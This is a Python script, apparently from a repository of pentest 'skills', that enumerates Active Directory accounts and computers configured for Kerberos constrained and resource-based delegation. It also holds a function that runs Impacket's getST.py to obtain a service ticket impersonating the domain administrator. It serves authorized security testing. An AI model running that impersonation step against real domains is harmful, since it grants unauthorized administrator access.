Files
Anthropic-Cybersecurity-Skills/skills/exploiting-constrained-delegation-abuse/scripts/agent.py
T
mukul975 c21af3347e Complete folder anatomy for all 649 cybersecurity skills + update LICENSE to Mahipal
- Add scripts/agent.py and references/api-reference.md to all remaining skills
- Update all 648 LICENSE files: copyright now reads 'Mahipal'
- Add implementing-security-monitoring-with-datadog (new skill with full anatomy)
- All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md
2026-03-11 00:22:12 +01:00

115 lines
4.4 KiB
Python

#!/usr/bin/env python3
"""Agent for detecting and testing Kerberos constrained delegation abuse in AD."""
import argparse
import json
import subprocess
import sys
from datetime import datetime, timezone
def find_constrained_delegation():
"""Find accounts with constrained delegation configured."""
findings = []
if sys.platform != "win32":
return findings
ps_cmd = (
"Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne '$null'} "
"-Properties msDS-AllowedToDelegateTo,ObjectClass,SamAccountName,"
"TrustedToAuthForDelegation,ServicePrincipalName "
"| Select-Object SamAccountName,ObjectClass,"
"@{N='DelegateTo';E={$_.'msDS-AllowedToDelegateTo'}},"
"TrustedToAuthForDelegation,"
"@{N='SPNs';E={$_.ServicePrincipalName}} "
"| ConvertTo-Json -Depth 3"
)
try:
result = subprocess.check_output(
["powershell", "-NoProfile", "-Command", ps_cmd],
text=True, errors="replace", timeout=30
)
data = json.loads(result) if result.strip() else []
return data if isinstance(data, list) else [data]
except (subprocess.SubprocessError, json.JSONDecodeError):
return []
def find_rbcd_targets():
"""Find computers writable for Resource-Based Constrained Delegation."""
findings = []
if sys.platform != "win32":
return findings
ps_cmd = (
"Get-ADComputer -Filter * -Properties "
"msDS-AllowedToActOnBehalfOfOtherIdentity,PrincipalsAllowedToDelegateToAccount "
"| Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity' -ne $null} "
"| Select-Object Name,DNSHostName,"
"@{N='AllowedToAct';E={$_.PrincipalsAllowedToDelegateToAccount}} "
"| ConvertTo-Json -Depth 3"
)
try:
result = subprocess.check_output(
["powershell", "-NoProfile", "-Command", ps_cmd],
text=True, errors="replace", timeout=30
)
data = json.loads(result) if result.strip() else []
return data if isinstance(data, list) else [data]
except (subprocess.SubprocessError, json.JSONDecodeError):
return []
def check_s4u_abuse(account_name, domain, dc_ip, password=None, hash_val=None):
"""Test S4U2Self/S4U2Proxy delegation abuse via Impacket."""
cmd = ["getST.py", f"{domain}/{account_name}"]
if password:
cmd.extend(["-password", password])
elif hash_val:
cmd.extend(["-hashes", f":{hash_val}"])
cmd.extend(["-spn", "cifs/target.domain.local",
"-impersonate", "administrator", "-dc-ip", dc_ip])
try:
result = subprocess.check_output(cmd, text=True, errors="replace", timeout=30)
return {"status": "success", "output": result[:500]}
except (subprocess.SubprocessError, FileNotFoundError):
return {"status": "failed", "note": "getST.py not available"}
def main():
parser = argparse.ArgumentParser(
description="Detect and test constrained delegation abuse (authorized testing only)"
)
parser.add_argument("--enumerate", action="store_true", help="Find delegation configs")
parser.add_argument("--rbcd", action="store_true", help="Find RBCD targets")
parser.add_argument("--output", "-o", help="Output JSON report")
args = parser.parse_args()
print("[*] Constrained Delegation Abuse Detection Agent")
report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}}
if args.enumerate:
cd = find_constrained_delegation()
report["findings"]["constrained_delegation"] = cd
print(f"[*] Accounts with constrained delegation: {len(cd)}")
for acct in cd:
s2u = "S4U2Self+Proxy" if acct.get("TrustedToAuthForDelegation") else "S4U2Proxy only"
print(f" {acct.get('SamAccountName', '?')} -> {acct.get('DelegateTo', [])} ({s2u})")
if args.rbcd:
rbcd = find_rbcd_targets()
report["findings"]["rbcd_targets"] = rbcd
print(f"[*] RBCD configured computers: {len(rbcd)}")
total = sum(len(v) if isinstance(v, list) else 0 for v in report["findings"].values())
report["risk_level"] = "HIGH" if total > 0 else "LOW"
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"[*] Report saved to {args.output}")
else:
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()